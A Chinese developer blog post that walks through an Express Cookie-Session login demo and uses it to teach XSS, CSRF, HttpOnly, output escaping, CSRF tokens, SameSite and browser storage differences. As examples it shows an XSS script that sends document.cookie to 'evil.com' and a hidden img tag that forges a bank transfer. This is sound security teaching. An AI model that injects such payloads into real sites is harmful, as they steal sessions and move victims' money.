我花了三天时间,终于把 Cookie、XSS、CSRF 和浏览器存储给整明白了

我花了三天时间,终于把 Cookie、XSS、CSRF 和浏览器存储给整明白了

我自己其实一直有个困惑。

每次面试或者被问到 cookie 和 localStorage 的区别,标准答案我都会背,cookie 4KB 会发给服务器,localStorage 5MB 不会自动发送。

但如果继续往下问,XSS 怎么利用 cookie 攻击,CSRF 又是怎么回事,HttpOnly 到底防的是什么,我就开始支支吾吾了。

这些知识点在我脑子里是散的,每个词都认识,但串不起来。

后来我决定自己写一个 Demo,用 Express 把 Cookie-Session 登录流程跑通,然后顺着这条线把 XSS、CSRF、localStorage、sessionStorage 全部理一遍。

代码跑起来的那一刻,很多概念突然就通了。

我想把整个学习过程分享出来,如果你跟我一样刚搞明白这些东西,应该会有帮助。

先看登录的核心代码,就几十行。

javascript 复制代码
const sessionStore = {};

app.post('/api/login', (req, res) => {
  const { username, password } = req.body;
  const user = usersDB.find(u => u.username === username && u.password === password);
  if (!user) {
    return res.status(401).json({ error: '用户名或密码错误' });
  }

  const sessionId = uuidv4();
  sessionStore[sessionId] = {
    id: user.id,
    username: user.username,
    role: user.role,
    loginTime: new Date()
  };

  res.cookie('sessionId', sessionId, {
    httpOnly: true,
    maxAge: 1000 * 60 * 60,
    path: '/'
  });

  res.json({ message: '登录成功', user: sessionStore[sessionId] });
});

我自己刚看这段代码的时候,有几个地方一开始没反应过来,后来才慢慢明白。

用户输入用户名密码点登录,后端去数据库里找到这个用户,确认没问题之后,它不直接返回用户信息,而是生成一个随机字符串,uuid 那种,比如 a1b2c3d4-e5f6-7890

然后把这个随机字符串作为 key,用户信息作为 value,存在服务器的内存里,就是上面那个 sessionStore 对象,一个普通的大字典。

再通过 res.cookie 把这个随机字符串种到浏览器里。

之后每次请求,浏览器都会自动在 Cookie 头里带上这个 sessionId。服务器拿到以后去 sessionStore 里查一下,就知道你是谁了。

这就是传统的 Cookie-Session 登录方案。

我刚开始觉得,就这么简单?

然后我就开始想,这里面的安全风险在哪。

第一个问题,如果有人把你浏览器里的 sessionId 偷走,他就能冒充你的身份。

这在安全领域叫 XSS,跨站脚本攻击。

怎么偷。

假如你做了一个论坛,评论区没有做任何过滤,攻击者留了这么一段话。

html 复制代码
<script>
  fetch('https://evil.com?cookie=' + document.cookie)
</script>

这段代码被渲染到页面上的时候,浏览器会把它当成 JavaScript 执行。document.cookie 会把当前域名下所有能被 JS 读到的 cookie 原封不动地发给攻击者的服务器。

攻击者拿到了你的 sessionId,就可以用你的身份做任何事。

我第一次理解这个攻击逻辑的时候其实挺震撼的,就一行 fetch,就能造成这么大的危害。

那怎么防。

第一个手段就是代码里已经写了的 httpOnly

javascript 复制代码
httpOnly: true

加了这行配置,这个 cookie 只能走 HTTP 协议传输,JavaScript 完全读不到。你在控制台敲 console.log(document.cookie),看不到 sessionId。

XSS 攻击者注入的那行 fetch,拿到的 cookie 里面也不会有 sessionId。

这是第一道防线。

但我后来发现,HttpOnly 只是让攻击者偷不到登录态,XSS 攻击本身还是能执行的。

攻击者照样可以注入 <script>alert('你被黑了')</script> 弹个窗,或者直接改写页面内容。

所以第二道防线是对用户的输入做转义。

javascript 复制代码
const escapeHtml = (str) => {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};

<script> 标签被转成 &lt;script&gt; 之后,浏览器就不把它当代码执行了,只是纯文本展示。

我当时学到这里悟了一个道理,永远不要相信用户输入的任何内容。

好,我以为 HttpOnly 加上输入转义,登录流程就安全了。

结果我又学到了 CSRF。

CSRF 跨站请求伪造,攻击思路跟 XSS 完全不一样。

假设你已经登录了 bank.com,cookie 里有你的 sessionId。这时候你点开了一个第三方抽奖页面。

这个页面里藏了一行你看不到的代码。

html 复制代码
<img src="https://bank.com/transfer?toAccount=攻击者卡号&money=10000" style="display:none;">

浏览器看到 img 标签,自动向 bank.com 发了一个 GET 请求。而且浏览器发现你访问的是 bank.com,就自动把你的 cookie 带上去了。

服务器收到请求,查了 cookie 里的 sessionId,确认是已登录用户,然后就把钱转走了。

你自己什么都没干,就是点开了一个网页。

我当时看到这个攻击方式觉得比 XSS 还骚。XSS 好歹要找个输入口注入脚本,CSRF 直接利用浏览器自动带 cookie 的机制就完成了攻击。

那 CSRF 怎么防。

传统的办法是 CSRF Token。服务器生成一个随机 token,发给前端页面,前端每次发请求的时候在请求头里带上它。

javascript 复制代码
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': token
  },
  body: JSON.stringify({ amount: 100 })
});

攻击者的恶意网站虽然能发起跨域请求,但因为同源策略,它读不到你页面上的 token,所以发不出带有合法 token 的请求。

后来浏览器厂商也下场了,搞了 SameSite 属性。

ini 复制代码
Set-Cookie: sessionId=abc; SameSite=Strict

Strict 的意思是,只有从 bank.com 自己页面发起的请求才带 cookie,第三方网站完全带不上。Lax 稍微宽松一点,允许从别的网站跳转过来的时候带上 cookie。

现在浏览器默认就是 Lax,CSRF 攻击空间被压缩了很大一块。

学完这些安全攻防之后,我又回头重新理解了一下三个浏览器存储本身。

cookie、localStorage、sessionStorage,本质上都是浏览器端的键值对存储,都只能存字符串,都受同源策略限制。

但它们的定位完全不一样。

我自己整理了一个对比表,每次忘了就翻出来看。

核心区别 cookie localStorage sessionStorage
生命周期 默认会话级别,可设置 Expires/Max-Age 持久化 永久存储,除非手动清除 关闭标签页即清除
发给服务器 ✅ 每次同源请求自动携带 ❌ 否 ❌ 否
容量 约 4KB 5MB~10MB 5MB~10MB
跨 tab 共享 ✅ 同源共享 ✅ 同源共享 ❌ 每个标签页独立
安全性 较低(暴露在网络中,需 HttpOnly/Secure/SameSite) 中低(XSS 可直接读取,无 HttpOnly) 中低(与 localStorage 类似,生命周期短窗口小)

有一个细节我自己踩过坑。

sessionStorage 在通过 target="_blank" 打开新标签页的时候,某些浏览器可能会把当前页面的 sessionStorage 复制过去。但规范上是不共享的,写代码的时候不能依赖这个行为。

然后我开始想,这三兄弟分别适合什么场景。

localStorage 适合持久化配置和缓存。主题切换、购物车、草稿箱自动保存、用户行为埋点批量上报,这些不需要每次请求都带到服务器。

我自己在学的时候还悟到一层,Web App 和原生 App 最大的体验差距之一就是本地存储。离线存储做好了,网页的体验就很接近原生。

sessionStorage 场景很窄但很精准。多步骤表单,用户填到第二步刷新了页面,第一步的数据放 sessionStorage 里可以恢复。页面滚动位置恢复,从首页跳到详情页再返回,保持之前的滚动条位置。关掉标签页自动清理,不用手动管理。

cookie 因为会自动发送,存太多会影响请求性能,所以只适合存必要的会话标识,比如 sessionId。敏感信息绝对不能直接写进 cookie 里。

cookie、session 这套方案是在前端没有独立项目的时候诞生的,那时候页面是后端渲染的,前后端没分离。现在前后端分离之后,session 存在服务器内存里,用户量一大就撑不住,分布式部署也有共享问题。所以现在主流方案是 JWT,客户端自己存储 token,服务器不维护会话状态,天然适合分布式。

我把自己学这些东西的过程写下来,其实是觉得,这些知识点真的不应该只在面试的时候突击背一遍。

Cookie-Session 登录是一条完整的故事线。你把这个流程跑通了,XSS 怎么攻击、HttpOnly 怎么防、CSRF 怎么利用自动带 cookie、SameSite 和 Token 怎么应对,localStorage 和 sessionStorage 各自放在什么位置,所有东西就串成了一条线。

契诃夫有个理论叫契诃夫之枪,你在第一幕挂了一把枪在墙上,第三幕它就得开火。

我感觉浏览器存储就是那把枪。你把它挂在登录流程的那面墙上,后面所有的安全攻防,全围着这把枪展开。

我真的建议自己手写一遍这个 Demo。Express 加 cookie-parser,跑通 cookie-session 登录,然后在代码里感受一下 httpOnly 为什么重要,sessionStore 长什么样子,cookie 怎么种的。

代码在你手里跑起来的时候,那些抽象的概念就变成具体的画面了。

以上,既然看到这里了,如果觉得不错,随手点个赞、在看、转发三连吧,如果想第一时间收到推送,也可以给我个星标⭐。

谢谢你看我的文章,我们,下次再见。

相关推荐
贩卖黄昏的熊1 小时前
flex 布局快速梳理
开发语言·javascript·css3·html5
swipe1 小时前
Mem0 x Agent 实战系列:分层记忆 + 三路召回,搭建真正可用的长期记忆层
前端·javascript·面试
Lee川1 小时前
Event Loop 面试通关:从原理到口述再到实战
前端·面试
kyriewen2 小时前
手写 call、apply、bind:从原理到实现,附 3 个最容易忽略的边界情况
前端·javascript·面试
胡萝卜术2 小时前
从内存视角重新认识 JavaScript 数据类型:一份深度学习笔记
前端·javascript·面试
Waay2 小时前
K8s ETCD 详解|备份恢复+静态Pod原理+kubectl查询底层流程(面试必考)
面试·kubernetes·etcd
LiuJun2Son2 小时前
Angular 快速入门:从零搭建你的第一个应用
前端·javascript·angular.js
烬羽2 小时前
从零理解树与二叉树:用 JS 带你手撕遍历和递归
javascript·数据结构
程序员二叉3 小时前
【JVM】OOM详解+JVM参数+FullGC排查+CPU飙高+死锁+内存泄漏+命令大全
java·开发语言·jvm·面试